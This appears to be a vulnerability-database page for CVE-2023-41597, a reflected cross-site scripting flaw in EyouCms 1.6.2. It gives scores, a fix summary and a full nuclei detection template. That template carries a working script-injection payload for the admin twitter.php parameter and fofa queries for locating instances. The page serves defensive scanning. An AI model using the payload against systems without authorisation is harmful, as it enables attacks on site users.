HexBrain

Browse / CVEs / CVE-2023-41597

CVE-2023-41597· eyoucms / eyoucms· CWE-79

EyouCms v1.6.2 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.2%likelihood of exploitation, next 30 days
69%of all CVEs are less likely
Readycheck to confirm it

EyouCms v1.6.2 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /admin/twitter.php?active_t.

Impact

Allows attackers to execute malicious scripts in the context of a victim's browser session.

Fix

Implement proper input validation and output encoding to prevent XSS attacks.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "eyoucms" or "ey_fleshVerify"
Send: GET {{BaseURL}}/admin/twitter.php?active_t=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "\"><script>alert(document.domain)</script>" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-41597 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-41597

info:
  name: EyouCms v1.6.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    EyouCms v1.6.2 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /admin/twitter.php?active_t.
  impact: |
    Allows attackers to execute malicious scripts in the context of a victim's browser session.
  remediation: |
    Implement proper input validation and output encoding to prevent XSS attacks.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-41597
    cwe-id: CWE-79
    epss-score: 0.01224
    epss-percentile: 0.6903
    cpe: cpe:2.3:a:eyoucms:eyoucms:1.6.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: eyoucms
    product: eyoucms
    fofa-query:
      - icon_hash="-614262549"
      - title="eyoucms"
  tags: cve,cve2023,eyoucms,xss,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: word
        part: body
        words:
          - 'eyoucms'
          - 'ey_fleshVerify'
        condition: or
        internal: true
        case-insensitive: true

  - method: GET
    path:
      - "{{BaseURL}}/admin/twitter.php?active_t=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

Use this check only on systems you are authorised to test. Where the data comes from